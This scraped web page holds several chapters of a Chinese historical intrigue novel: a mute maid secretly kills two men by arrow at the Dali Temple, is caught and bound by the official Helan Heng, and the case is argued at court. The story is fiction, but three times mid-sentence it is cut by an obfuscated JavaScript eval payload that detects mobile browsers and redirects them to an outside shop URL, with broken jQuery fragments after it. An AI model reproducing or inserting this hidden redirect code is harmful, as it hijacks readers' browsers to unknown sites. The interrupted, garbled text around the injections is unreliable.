茂密的梧桐树林后面,季晚凝手持木弓趴在房檐上,目光泠泠地俯瞰着这群惊弓之鸟。
原本她只有袁大一个目标,没料到小六和秦俪竟也被火势引了出来,简直天赐良机。
季晚凝敛气屏息,再一次挽弓搭箭,瞄准了秦俪。
这时,一双犀利如鹰的视线从池畔扫了上来,在昏暗的天色中格外幽亮。
季晚凝连忙收起了弓,伏低身子。
断眉一面环视四周,一面命道:“别动尸体!都去凉亭里躲避!”
秦俪方才看见袁大突然莫名其妙地倒下了,又目睹小六被箭射中,已经吓得浑身瘫软,哆哆嗦嗦抱着柱子。
顺义门的鼓声迢递,敲完了最后一下,夜禁了。
见好就收,季晚凝匍匐着下了房檐,整了整衣襟,拂去裙衫上的尘土。
后衙里青烟袅袅,小阮正在厨房烧菜。
季晚凝驾轻就熟地把梯子搬回耳房,又来到竹林里,将木弓和剩余的木箭扔进她早上挖好的落叶坑中,埋了起来。
做完这一切,季晚凝回到房间,反手掩上门,她从箱底拿出了四只木牌,上面写着四个已故家人的名字。
她将亲手雕刻的简陋牌位依次立在案几上,点燃了三支香,跪伏在地,郑重地磕了三个头。
心里默念,阿耶阿娘,阿兄阿姐,不知如今你们残破的骸骨零落在何处,荧荧无能,未能为你们入殓安葬,甚至连元凶是谁也不知晓。
当年父亲人头落地,母亲季羽带着年仅七岁的她和阿兄、阿姐驾车逃离长安,投奔娘家季氏。
季晚凝永远也忘不了那一日,马车在崎岖的山路上颠簸不止,季羽将她紧紧抱在怀里,阿兄阿姐坐在对面,为了缓解气氛,阿兄给她们讲着话本里的故事。
行至四明山时,突然间一支飞箭破风而来,直直插进了马身,受惊的马嘶吼着失控狂奔,正在疾驰的车骤然失控。
紧接着又一支利箭穿过车窗,擦着季晚凝的脸颊扎在车壁上。
“俯身!”
十二岁的阿兄立即拔剑挡在她们身前,可下一瞬,鲜血就顺着他的眉心蜿蜒流下,甚至连一声叫喊都没来得及发出,便直直倒了下去。
九岁的阿姐抱住阿兄的尸首痛哭呼救,季晚凝浑身颤抖着瑟缩在季羽怀里,她能感到母亲的手指也在颤抖,这一劫恐怕是逃不过去了。
失控的马车在山路上横冲直撞,很快就从山路上脱了轨,跑成一条弧线,直冲悬崖。
就在电光石火间,季晚凝忽然感到她小小的身子腾空飞起,季羽在最后关头用尽全身力气将她从车窗抛了出去。
她一路滚进了草窠里,浑身骨头像散了架一般,她却顾不上疼痛连滚带爬站起来,眼睁睁看着整辆马车随着碎石翻落下了山崖。
季晚凝回头看见贼人收起弓箭,拨转马头消失在飞扬的黄尘中。
过了良久,她哆嗦着从藏身的巨石后面出来,站在悬崖边沿,俯瞰着摔得散了架的马车,在废墟之中横着几个人,已然粉身碎骨。
她无声大哭,眼泪流尽了,蹲下身来抱住紧双腿,才发现怀中多了一只鎏金香球。
香火明明灭灭,将她的思绪拉回到十年后。
至今季晚凝也不知道香球藏有什么秘密,但肯定与父亲的案子有关,破解了香球的秘密,或许就能找到为父亲沉冤的证据。人已逝去,名节却还要蒙着不白的污尘。
还有追杀她们的贼人是又谁派来的?那人穿着便服看不出身份,所以不是官差领命而来,而是私自下的黑手。
只有想方设法拿捏住吴道坤和宋熙,从他们口里审问出真相。
季晚凝站起身,掸了掸膝上的灰尘,迈出房门来到了厨房。
小阮看样子还不知道发生了什么,道:“晚凝姐姐,饭这就好了。”
今日后衙只有她和小阮两个人,季晚凝拿起木勺来帮她一起盛饭,端到外面的桌上。
“晚凝姐姐你先吃,我去熄火。”
季晚凝拦住她,示意自己去,她只身回到厨房,将那四个牌位一并投到火中,看着它们烧尽。
小阮刚做完饭对烟味不敏感,无意间抬头,望
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164464|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见一团黑烟浮在大理寺上空,随晚风徐徐飘散。
季晚凝走到饭桌旁,小阮抓住她的衣袖,紧张道:“晚凝姐姐,你快看,哪来的烟?不会是走水了吧?”
季晚凝朝她指的方向看去,抚了抚她的背安慰她。
小阮吃完饭后还一直担忧地站在院里,模模糊糊地听见前衙七嘴八舌的嘈杂声,以及纷乱的马蹄和脚步声。
过了良久,浓烟终于散了,她才安下心来回房洗漱。
……
旬日也是崇文馆闭馆的日子。
往常靳然通常会去打毬宴游,但今日他却一直在房里温书,林夙之在旁红袖添香。
用过晡食后,林夙之为他斟了酒,坐在他身边。
靳然拉过她的手握着,问道:“你今日手怎么这么凉?”
“许是天凉了吧,”林夙之拢了拢披帛,心虚道,“有酒无曲,多无趣,妾给四郎弹一曲《平湖秋月》吧。”
弹琴能让她不那么心慌意乱。
“好。”靳然勾起一抹笑,放开了她的手。
这时长随跑进了院子里,有事要禀。
“有什么事待会儿再说。”靳然不耐烦道。
“郎君,小人刚刚听说大理寺起火了。”
“什么?!”靳然惊诧道。
林夙之心跳如擂鼓,两只手绞着绣帕,不敢抬头。
“不知道怎么回事,小人刚从外面回来,看见大理寺里冒着黑烟,不过火势已经控制住了,应该没大事。”
林夙之勾了勾靳然的衣袖,小声问道:“贺兰大理不会有事吧?”
靳然知道她因为榴香案对贺兰珩心存感激,便安慰她道:“放心,他今日休沐。”
随后他蹙起眉道:“可大理寺怎么会突然走水了呢?偏偏还是旬日。”
林夙之心如悬旌,拿起琵琶道:“四郎,你还听不听曲儿了?”
“听。”
贺兰府里。
蓬莱县主六神无主地来回踱着步子。
“你说谦晔他会不会有事?”她不安道。
贺兰淳德斜倚在坐榻上,手里端着酒爵。
“他又不在大理寺,能有什么事?稍安勿躁,我这酒都没喝一口呢,你就把我晃得快醉眼了。”
“可是,可是如果有御史弹劾他,圣人降罪于他呢?”县主坐到了坐榻上,盯着他道。
“嗯……这个就不好说了。”贺兰淳德捻着佛珠道,“身处朝中,须知剑有双刃,福祸相依。”
“用你废话?”县主把他手里的佛珠抢了过来,“真有事的话就晚了,我要进宫,你和我一起去,跟圣人求情。”
贺兰淳德摆了摆手道:“只要不是死、流,用不着你我出面,路还是得他自己走。”
“呸!你说点儿吉利的话!”
贺兰淳德沉吟道:“世事纷纷一局棋,不到最后焉知输赢。”
县主白了他一眼:“……我跟你说不到一块儿去。”
这时周嬷嬷领着哭哭啼啼的贺兰容嫣进来了。
“阿娘,阿兄怎么样了?”容嫣扑进县主怀里。
县主搂着她道:“三郎不在大理寺,别担心。”
“那他什么时候回来啊?已经宵禁了。”容嫣扬起缀满泪痕的小脸。
“他今日进宫打马球了,许是宿在宫里吧。”
“打马球?昨日我听九公主说,她今日要跟晋王打马球,原来他是跑去跟九公主玩了!”
容嫣是九公主亲自点选的陪读,九公主看中她是因为她书法、礼仪都不如自己,叫她来当陪衬,好压她一头,害得容嫣总被批评嘲笑。
她拧着眉毛,气咻咻地喊道:“我不许他和九公主玩!我最讨厌九公主了!”
“你这孩子怎么又乱说话。”县主一把捂住了她的嘴,“周嬷嬷,快把五娘带走。”
26. 梦呓
夜色虚明,浓墨浸染了残云,上弦月如一把刀高悬在天上。
季晚凝一一熄灭了院里的灯,踩着满地清辉往下人房走。
诸事终了,她不用再夜里起来练射箭,可以安心睡一宿了。
隔壁小阮的屋子已经黑了,她放轻脚步推开门,摸到案几上的火镰,轻轻一击,油灯亮了起来。
昏黄的光晕在屋里颤颤巍巍地铺开,季晚凝忽然觉察到一丝异样。
她鼻尖翕动,空气里隐约浮着一股陌生的香味。
她倏地转过身。
床榻上,赫然坐着一个冷峻的身影,棱角分明的轮廓掩在灯影里。
幽深的眸光无声地凝在她身上,沉浮明灭。
四目相交,时间仿佛停滞了,空气凝重如水银。
“今日的焰火,好看吗?”
贺兰珩的声音极淡,淡得像远山的积雪,裹着清冽的寒意沁入骨子里。
季晚凝心口慢慢收紧,烛光在她眼眸里碎成了无数点星子,微微闪烁。
他缓缓站起身,墨色的瞳仁倾轧过她的视线,带着令人心悸的锋利。
“一共三箭,一箭已断,而其余两箭,皆是自上至下倾斜射入。”
“你猜猜看,是从哪射出的?”
季晚凝的手指蜷缩了下,马上就镇定下来。
这只是他的猜测,只要她咬死不承认,根本不能算作证据。
贺兰珩一步步逼近。
“小六是欺负过你的人,而袁大,”他稍顿了一下,语气更沉,“则是十年前陈澍案中刑讯的酷吏。”
“季晚凝,你仅仅是陈家的逃奴吗?”
“你到底是谁。”
他的话音如沉鼓,由缓渐疾,携着汹涌的压迫感向她袭来。
季晚凝不自觉地往后退了一步,咬住牙关,在暗涌翻滚的气息中竭力控制着呼吸。
一簇疾风卷着泠泠凉气从窗外灌进来,吹得火苗东倒西歪。
贺兰珩眼底敛尽了灯火,眸影暗沉,继而道:“若不是秦俪躲在柱子后面,现在恐怕也是一具死尸了。”
“刚刚,刑部借机将她调走了,吴尚书很有可能给她销案。”
“我想,把你送到刑部大牢更为合适。”他唇角勾起了一抹刺骨的冷笑,“吴道坤会撬开你的嘴,就像他当年撬开陈澍的一样。”
这席话就像淬了毒的针,狠狠扎在季晚凝心上,她维持的冷静瞬间被点燃了。
她眼里的炽光随火苗熠动,颤抖的手紧紧攥着火镰,攥得她手掌有些疼。
一股强烈的想把火镰扔在他脸上的冲动涌上心头。
她深吸一口气。
他不过是在试探她,激怒她,她必须忍下来。
可她的手却克制不住地抬了起来。
贺兰珩眼厉手快,猝然上前一步,猛地扣住她的手腕,将她死死按在了墙上。
火镰啪嗒一声落地。
季晚凝整个人贴在了冰冷的墙壁上,肩胛骨被他反扣着,像只被钉住翅膀的蝴蝶。
“事已至此,你若还是不肯说,明日就把你送进刑部大牢。”
他沉而厉的声音覆在她身后,像一副无形的镣铐将她锁住。
她扭动双肩挣扎,贺兰珩反手一拧,加重力道将她往墙上压了压,紧紧禁锢住。
季晚凝闭上了眼。
墙面坚硬而冰冷,他灼人的吐息喷洒在她后颈。
一面是冰,一面是火,她被冷意与屈辱裹挟着,任人宰割。
贺兰珩摸索到她的手,用指腹在她的掌心上一寸寸地摩挲,寻找握弓的手茧。
起先他以为她找了弓手,可问过巡兵,大理寺后衙无人出入。
他又仔细搜寻了一遍后衙,也没有藏人,况且弓手不会用自制的弓箭。
唯一的可能,只有她。
而此刻被他攥着的这双手却柔滑细腻,哪里像是练过箭术的样子。
可正是这双手,射杀了两个人。
忽然一缕苏合香的气息钻进贺兰珩的鼻尖。这味道很熟悉,是他送给她的手膏。
贺兰珩突然松开了她。
季晚凝睁开眼,徐徐转过身来,站在他面前,像风雪里的一盏孤灯,单薄地立着。灯中燃着两豆焰火,双眸炯亮,好像要咬人一样。
贺兰珩面无表情地冷觑着她,从桌案上拣起一只笔抛了过去。
“说吧。”
季晚凝接住笔,扶着桌案坐下来,执起笔,提了一口气,一笔一划稳稳落在纸上:
“你没有证据。”
“如今你我是一根绳上的蚂蚱。”
一丝冷嗤从贺兰珩鼻尖逸出来,他俯身从床底下拿出一个包裹,扔在地上。
包裹打的结很松,一落地就散开了。
只见里面躺着一堆鸦雀的尸体,以及一把木弓、几支木箭。
他扯出一个似笑非笑的弧度,道:“你早就想好拉我下水了,是不是?若不是我发现了这些东西,你便可以用它们来威胁我、嫁祸我。”
她特地把弓箭埋在竹林里,而竹林在书房周围,他脱不开干系。
季晚凝呼吸一窒,心里的那根弦终于断了,仿佛被人掐住了命脉,她最后的杀手锏也被他找到了。
“可惜,这里是大理寺,只有我栽赃旁人,轮不到旁人来栽赃我。你要证据?我随时信手拈来。”
她仰面看向他,指甲深深嵌进手心里。
贺兰珩敛眸,拽住她的胳膊将她拎了起来,反剪着手腕,把她押出了房间。
庭院里一片死寂,季晚凝一路踉踉跄跄地被拖到正房。
进了门,他把她撂在外间的卧榻上。
“今夜你睡在这里,天一亮就送你走。”
送走?送去哪?
决不能去刑部!
季晚凝绝望地从榻上撑起身子,双眸如惊鹿般惶然望着他,随即四下张望,却没看见笔砚。
“现在想说了?已经晚了。”
贺兰珩转身,她抓住他的袖口,被他一下甩开了,她再次伸手,这次勾住了他的犀带。
使劲一扯,腰带咔哒一声开了。
襕袍散开,贺兰珩眉头一蹙,俯身接住掉落的犀带,跨到榻旁,一双狭长的凤眸俯视着她。
旋即他欺身而上,将她压在榻上。
季晚凝往后一倒,发簪从云鬓间掉了下来,一头青丝尽数铺落。
她的身子柔软,有如暖玉,他却坚硬而冰冷,如一座牢笼笼罩着她。
贺兰珩攥着她的手,将犀带缠过她纤细的双腕,牢牢绑住,又扣在了卧榻一头的栏杆上。
季晚凝不停地摇晃挣扎,洇洇的水光悬在眼眶里,颤颤袅袅,盈盈欲落。
她嘴唇翕张,努力地想发出一丝声音来,却是徒劳。
贺兰珩起身,看也不看她,径自撩帘进了里间。
季晚凝就这么被桎梏在榻上,双眼在黑暗中久久不敢阖上,她害怕一睁眼就身在刑部大牢里了。
夜色沉沉如盖,夜漏上水了一刻,清鸣滴落。
贺兰珩跽坐在里间的锦毯上,眉宇间的阴郁之色像化不开的浓雾。
因为父亲说陈澍的妻儿曾被吴道坤提审,是以他将袁大调到大理寺,为了伺机抓住他的把柄,问出他十年前刑部大牢里审讯的隐情。
至于秦俪,两条命案已使秦家名声受损,遭受重创。秦筝近来焦头烂额,不假时日就会自取灭亡。秦家的事不值得他费心。
原本进展顺利,今日和九公主、晋王打完马球后,圣人把他叫去弈棋,留他用晚宴。
突然宦官来禀报大理寺走水了,大理寺就在皇城之内,贺兰珩出了宫门,须臾便赶到了衙署。
火势很快控制住,囚犯无人受伤,而袁大和小六却中箭身亡。
不仅如此,此番还惊动了吴道坤,他必然会怀疑到自己头上。
思及此,贺兰珩心意已决,明日就把季晚凝送到刑部。不论她是谁,都是块烫手山芋。
袁大和小六若她只动一人,或许他只有三成怀疑她。
可她太贪心了,沉不住气则会露出马脚。
他盘算着如何将自己从中撇清,证据可以伪造,黑锅则让死人来背
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164465|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。那个给秦俪送饭的可疑家丁他已经遣不良人去查了。
季晚凝的身份也早就安排好。此前他为了离间袁大和吴道坤,让断眉透露给他季晚凝的假身份和住址,引他们上钩。
发现情报作伪的吴道坤会与袁大产生嫌隙,届时他再推波助澜一把,拿捏袁大轻而易举。
他手执棋子,胜券在握,正欲落子,棋枰却突然被人掀翻了。
夜深人静,落针可闻。博山炉里,沉水香疏缓地流袭弥漫。
白蜡上的火苗逐渐下沉,淡月的光影丝丝缕缕透过帘栊,潜入轩室,若有若无地投在地上。
阒静之中,传来了一阵幽幽的异响。
贺兰珩坐着没动,他知道是季晚凝发出的声音。
半晌后,那异响越来越清晰,却不似磨牙声,更像是细碎的呢喃。
贺兰珩掀开眼,起身走出内寝,来到卧榻边。
季晚凝正在沉睡,柳眉轻颦,羽睫的影子映落在雪颜上,双手交叉伸过头顶,衣袖滑下来,露出两截白皙如瓷的小臂。
“贺兰珩你个奸臣,我杀的都是是该死之人!”
“我不去刑部大牢,我不去……”
她菱唇轻启,小声梦呓着。
贺兰珩神色倏地一凝,垂在身子两侧的双手握成了拳。
她居然能说话!
她不仅在他眼皮底下杀人,还装了这么久的哑巴。
而前不久他还在想着给她治病。
贺兰珩按下心里的怒火,轻轻地坐到了榻沿,附耳倾听。
“阿娘,荧荧没什么都没说……”
“他们都是坏人,我不会告诉坏人的……”
莹莹。
贺兰珩在心里重复了一遍,这是她的乳名?
季晚凝紧闭着眼眸,过了一片刻,鸦羽开始颤动,如受惊的蝶翼扑扇个不停。
“我什么都不知道,我从没见过密信……”
“……吴贼滚开!”
贺兰珩太阳穴嗡地一跳,眼底的幽泽波翻浪涌。
密信,什么密信?!
他的手臂撑在榻上,俯身离她的嘴唇更近了些。
“阿娘别担心,荧荧已经藏起来了。”
“别丢下我一个人,好不好?”
她的声线清悠,尾音幽幽缠缠,含着哽咽,胸脯随着愈发急促的呼吸连绵起伏着。
在梦里,阿娘生了季晚凝的气,将她孤身抛下马车,她哑声恸哭,伸长手臂想抓住阿娘的衣襟。
可阿娘已经独自驾车远去,她滚落到悬崖边上,拼命挥舞着小手,在空中一通乱抓。
这时绑在季晚凝手上的犀带撞出一阵凌乱的声响,腕子已经磨得泛红。
贺兰珩眉峰微敛,喉结滚动了一下,将犀带解开了。
季晚凝在梦中抓了半晌,终于触到一根树枝,她就像抓住了救命稻草一样死死攥在手里。
堪堪给她解绑,贺兰珩的手就陡然被她握住。
他眉心一折,将手抽了出来,她却及时地捉住了他修长的小指,攥在手里。
贺兰珩一根一根掰开她的手指,又唯恐惊醒她,动作很轻。
“荧荧很乖……”
“荧荧没有偷月钱……我没有……”
她的语调变得绵软,含着委屈。
贺兰珩绷紧的心悄然一坠。
“我知道。”
他低声回道。
他当然知道她不会蠢到去偷春彤的荷包,春彤那点伎俩也骗不了他。
他当时将计就计,借着这个由头克扣季晚凝的月钱,以防她又去贿赂别人。
季晚凝在梦里紧抓着树枝,不敢松手,最后哭着哭着哭累了,陷入了一片茫茫黑暗中。
贺兰珩看着她,半晌没有动静,她的呼吸逐渐平缓下来,看起来梦魇已经结束,昏睡了过去。
她眼角还挂着一滴将坠未坠的泪珠,有如晶莹的夜露,细密的长睫湿漉漉的,根根分明。
他轻轻抬手,小心翼翼地想把小指抽出来,可她抓得扔紧。
他只得放弃,由她攥着。
27. 送走
东方渐染鱼肚白,残霞散去,淡雾沉沉绵绵,徘徊在天际。
小阮早早地就起了,独自打了井水,去厨房做好朝食,准备去喊季晚凝用膳。
她的房门虚掩着,小阮叩了半晌门无人应,她轻轻推开,里面空无一人。
她起床时就见门开着,往常季晚凝都会跟她一起去打水,今日却不见人影。
小阮不禁忧心,昨晚她刚躺下时,贺兰珩敲开她的门,询问她季晚凝这一天的行迹,小阮把自己知道的都告诉他了。
他还问了近来季晚凝有什么异常,小阮回忆了下,说不曾察觉,然后贺兰珩就走了。
小阮躺回榻上翻来覆去,琢磨郎君问她这些是什么意思,不会是怀疑大理寺走水和晚凝姐姐有关吧?
其实她刚来那日的夜里听见房檐上有奇怪的动静,但她没说。
她不想让季晚凝惹上不必要的麻烦,仙女姐姐那么善良,怎么可能杀人纵火呢?
郎君可真是异想天开。
小阮又在院子里找了一圈,没见着她,这时角门开了,进来的却不是东义,也不是孙嬷嬷,而是两个侍卫。
……
巍峨的大明宫耸立在晨雾之中,早朝的钟声在宫城上空回荡,庄严而悠长。
承天门缓缓开启,一队队身着朝服的官员们鱼贯而入,三三两两议论着昨晚大理寺的火灾。
贺兰珩踏上台阶,身后绕上来一个人影,与他并肩而行。
“谦晔,”吴道坤低声道,“告诉我那个姓季的女子在哪,之前的事我既往不咎。”
贺兰珩一手拿着笏板,一手提着宽大的朝服拾级而上,道:“她不过是个被误捕的囚犯,微不足道,我怎会知道她在哪,吴尚书寻她做什么?”
吴道坤眼珠转了转,道:“听闻那女郎姿貌殊绝,我自然是寻来献给圣人的,届时在圣人面前提你一嘴便是。”
“哦?这点事也值得劳吴公大驾亲办?”贺兰珩轻嗤了一声。
见他油盐不进,吴道坤脸色一沉,也不虚与委蛇了:“大理狱的牢头给了袁大一个假住址,骗他前去我别宅妇的宅邸,是不是你做的?贺兰卿既不识抬举,就别怪本官不关照晚辈了。”
文武百官依次进入紫宸殿,纷纷止住了话头,整理衣冠分列两旁行礼,俯首站成一片。
天子坐在御座上,十二旒冕后面一副威严的龙颜时隐时现。
吴道坤给秦筝递了个眼神,秦筝会意,站出来高声奏道:“臣启陛下,昨日大理狱突发走水,囚犯借机逃狱,有两人莫名中箭身亡,横尸当场,实在骇人听闻!
“贺兰珩身为大理卿疏忽至此,有失察之责,臣请陛下革去贺兰大理之职,以正国法!”
这边话音甫落,吴道坤也出列道:“陛下有所不知,那两名死者,其中一名乃是大理狱丞袁大。
“袁大此前无意间查到了一名谶书案的女囚,竟被贺兰大理给放走了。袁大在查访真相之际,突然被奸人所害,陛下,臣想问,世间真有如此巧合之事?”
吴道坤话里话外暗示袁大被贺兰珩杀人灭口,朝臣们一片哗然。
秦筝面露惊讶:“臣不知竟还有此等隐情,恳请陛下彻查大理寺,以儆效尤!”
天子只是微微颔首:“走水一事昨日朕已有所耳闻,贺兰卿,起火的缘由查清楚了吗?行凶之人可有眉目?”
贺兰珩手执笏板,袍袖一展道:“臣昨夜赶到大理寺,已查明火灾乃是由火褶子而起。此外并无囚犯越狱,而是恰逢休沐放风,因火势不能返回牢房。
“若说逃狱的囚犯,那么只有一人,想必秦少卿比我更为清楚,此人便是令嫒秦俪。”
贺兰珩看了眼秦筝,“狱里女囚皆目睹了袁大在走水之时亲自为秦俪打开了牢门。袁大是一个月之前从刑部调任来的,而火灾之后,刑部第一时间就将秦俪接走了。据狱吏所述,在走水之前还有一名可疑的秦府仆役来大理狱给秦俪送晡食。”
本是顺风局,却被他反咬了一口,秦筝气急败坏道:“胡说!昨日我府上仆役去送饭时大理狱已经起了火,狱吏把他打发回去了饭没送成。臣得知后担心小女受伤,才托刑部将她调至刑部大牢。陛下明鉴,贺兰大理巧舌如簧,是在虚言惑主!”
贺兰珩并不理会他,继续道:“陛下,待臣将那仆役缉拿,审问一番便知。且说中箭的另一人,名唤小六,此前乃大理狱牢头,曾与秦俪勾结谋害狱中女囚,臣恳请陛下将秦俪调回大理寺受审。”
他最后补充了一句:“至于那名谶书案的女囚,吴尚书应当知晓,已确认误捕,无罪释放了。”
贺兰珩说罢,满朝文武瞬间炸开了锅,交头接耳,议论纷纷。
有人猜测秦筝托吴尚书将爱女捞出来,并借机暗算贺兰珩,有人则猜秦筝杀人灭口。
位于队首的右相郑彦元始终低着头,稳如磐石,他身旁的左相宋熙则时不时抬眼窥伺一下圣上的神情。
秦筝满面通红,举起笏板指着贺兰珩道:“贺兰大理言下之意是秦家是凶手吗?!陛下,他诬陷当朝官员,罪加一等!”
这时一个御史插话道:“秦少卿,注意朝中仪态。”
秦筝气得吹了下胡须,被迫放下手。
贺兰珩漠漠从容道:“陛下,臣只陈述了事实,所述皆有佐证。”
天子在殿上沉吟,公说公的理,婆说婆的理,他左右为难地朝阶下的几位宰相看过去。
郑彦元轻抬脚步,刚准备出列,这时宋熙抢先一步,站出来道:“陛下,如今这案子既已牵涉了大理寺和刑部,案情错综复杂,臣愿为陛下分忧,彻查此案。”
郑彦元不动声色地侧目看了一眼宋熙。
天子摩挲了下扶手,道:“也好,朕就命宋公和御史中丞共审此案,贺兰卿、秦卿协助调查,其余的时间就先归家休整吧。”
……
小阮被侍卫带上了一辆驴车,车厢小得只能容下她一人。
她抱着自己的行囊,老旧的车轮嘎吱嘎吱直响,小阮不安起来,担心自己因为昨日对郎君隐瞒实情,被转手发卖。
没过多久,驴车驶入了外郭城的宣阳坊,坊里可谓权贵云集。
宽大的道路两旁碧树银台,朱门高耸,四角飞翘的屋檐上立着凶横的鸱吻。
华丽的四驾马车不断地迎面驶来,上面悬挂的銮铃玎珰作响,提醒着路人回避。
驴车在一扇角门前停了下来,侍卫下马推开门,小阮拘谨地钻了进去。
这是一座五进的宅第,门馆赫奕,院宇峥嵘,比后衙大上数倍,也比秦府宽阔宏丽得多。
雕梁画栋,绮窗云阁,池苑台榭,无处不彰显着雕华之工。
碧玉窗,白玉阶,朱柱上盘旋着龙凤百兽花纹,连廊宇都点缀着珠玑琉璃,在阳光下璀璨生辉。
这一路小阮又是忐忑,又是为精美的府邸惊叹不已。
穿过重门,侍卫引着她进了一处院子,高台曲池,月桥花榭,桂花的幽香扑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164466|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
面而来。
蜿蜒的曲廊延伸至水竹间的翘檐小亭,只见亭子里挂着一只金笼,白鹦鹉在横木上张望,旁边立着一个秀逸绰约的身影。
晚凝姐姐!
小阮眼眶湿润,朝她奔了过去。
“晚凝姐姐,你怎么在这里!”
季晚凝眼角弯起一抹温柔的笑意,抚了抚她的头。
清早她醒来时,发现手腕已经解绑了,贺兰珩已不在房里。她在侍卫的看守下收拾了行囊,登上驴车。
季晚凝还以为自己要被送去刑部了,没想到一下车便来到了这里。
小阮鼓起勇气询问侍卫,侍卫道:“三郎君让你们以后就住在府里,但是不能出这个院子,我们会在周围把守。”
小阮乖巧地点头:“不出不出,麻烦这位大哥了。”
直至下晌,贺兰珩处理完事务后才回到府里,进门径直去给父母请安。
蓬莱县主问起昨日的情况,贺兰珩大致讲述了一下,只将季晚凝略去了。
之后贺兰淳德把他叫到书房里私谈。
“圣人怎么说?”贺兰淳德问道。
“暂且停职,圣人命宋相公和御史中丞共同审理。”贺兰珩道。
贺兰淳德摇了摇头道:“那宋熙是个奸滑之徒,你要小心。”
贺兰珩与宋熙无甚往来,从平日朝中的了解来看,此人擅于察言观色,揣摩圣意,阿谀逢迎。
“儿曾听说,陈澍的关键罪证就是他提供的。”
贺兰淳德嗯了一声道:“宋熙曾与陈子睿有着同窗之谊,又为邻十余载。他为了升迁,借着与子睿关系近,在他书房里发现了通敌信函和陇右布防图。就算子睿罪不可恕,可他宋熙这番行为,实属不仁不义之举。”
贺兰淳德在京中人缘好,八面玲珑,不论忠奸结交甚广,能让他置喙之人,可见有多不入眼。
看来这个人也不比吴道坤好对付,贺兰珩又道:“儿还记得,很早以前曾见过陈澍的长子。”
“是啊,他比你小一两年。”
“陈澍还有两个女儿,有多大?”
贺兰淳德想了一会儿,道:“长女好像比你小四五岁,次女比你小个六七岁吧。”
贺兰珩眸光微微一闪,季晚凝正好比他小七岁。
“她们叫什么名字?”
“人家的闺名我哪里好问。”
贺兰珩的手指轻轻敲击着骨节,道:“那他的女儿可有残疾?譬如说……聋哑。”
“不曾听说过,”贺兰淳德不解道,“为何这么问?”
“只是听了些传闻,好奇罢了。”贺兰珩顿了顿,“陈澍的家人当真都死了?”
贺兰淳德颔首:“全家连个牌位都没有。”
贺兰珩敛眸,若有所思地摩挲着茶瓯。
“好了,不说陈子睿了,你也少打听这些事。”贺兰淳德不悦地摆摆手,继而嘱咐道,“你万事要小心,谨记避其锋芒。”
贺兰家族百年间历经数代王朝更迭,辅佐过不知多少帝王,名将重臣不在少数,审时度势乃是世家长青的不二法门。
在这样的家族训诫熏陶中的贺兰淳德,为人圆滑,历练老成,品性观念与陈澍大相径庭。
陈澍则是直内方外,仗义敢言。也正因此,贺兰淳德当年颇为欣赏这位襟怀磊落的谏臣。
他的视线不经意地落在儿子身上,见他腰间垂着一只鎏金雕花香球。
“谦晔,你可是有意中之人了?”
28. 偷听
在贺兰淳德的印象中,儿子自从十六岁高中探花以来,便成了京师贵女们的春闺梦里人,说亲的人家踏破了门槛。
每逢他策良马、披轻裘,在长安的大街上逸尘而过,惹得楚鬓娇颜驻足翘望。
时有未出阁的女郎轻解香囊相赠,可他从未接受过,只一心扑在仕途上。
“不曾。”贺兰珩淡淡吐出两个字。
“那你这香球从何而来?”贺兰淳德疑惑,平日从未见他佩戴过,“难道是五娘送你的?”
贺兰珩啜了口茶汤,没答。
“你的婚事是该考虑了。”贺兰淳德道,“大郎才成亲就病殁了,二郎倒是已经娶妻生子,可他远在洛阳任职,一年到头都见不着几面。你也老大不小了,你阿娘天天念叨得我耳朵都快长茧了。”
“儿如今前途未卜,不该耽误旁人。”
贺兰珩轻置茶瓯,垂眼看了下腰间的香球,色泽已经褪去了三四成,沉淀出暗哑的金色。
“从前你无心婚娶,因着仕途顺利,为父才没催促。正是现下这个节骨眼,才好筛选掉不愿共患难的亲家,择出来的忠贞之妻方能把家撑起来。
“为父在朝中几十年,见过太多的人情反复,今朝得势,宾客盈门,明朝落败,流徙出城都无人相送。”
贺兰淳德又想起十几年前,他有意与陈澍缔姻,而陈澍总是笑:“淳德啊,我不像你膝下儿女多,我只有三个孩子,婚事可要再三斟酌。”
有一次他耐不住贺兰淳德相磨,从书架上拿下来一只鲁班锁,说道:“淳德,你若是能将这只我亲自绘制,并托木匠打造的锁解开,我便与你过婚书。”
贺兰淳德钻研了良久都寻不到解法,直到有一天无意中被贺兰珩看到,把玩了片刻便解开了,可那时陈澍已身在牢狱。
思及此,贺兰淳德又不禁倒吸一口冷气,痛惜之余,亦在暗中庆幸未曾与陈家结亲,险些连累了儿女,是以如今对待儿子的婚事颇为谨慎。
时局风云变幻,他要选的亲家必须根基稳固,对贺兰珩的仕途有所助益,以防将来不幸折戟沉沙。
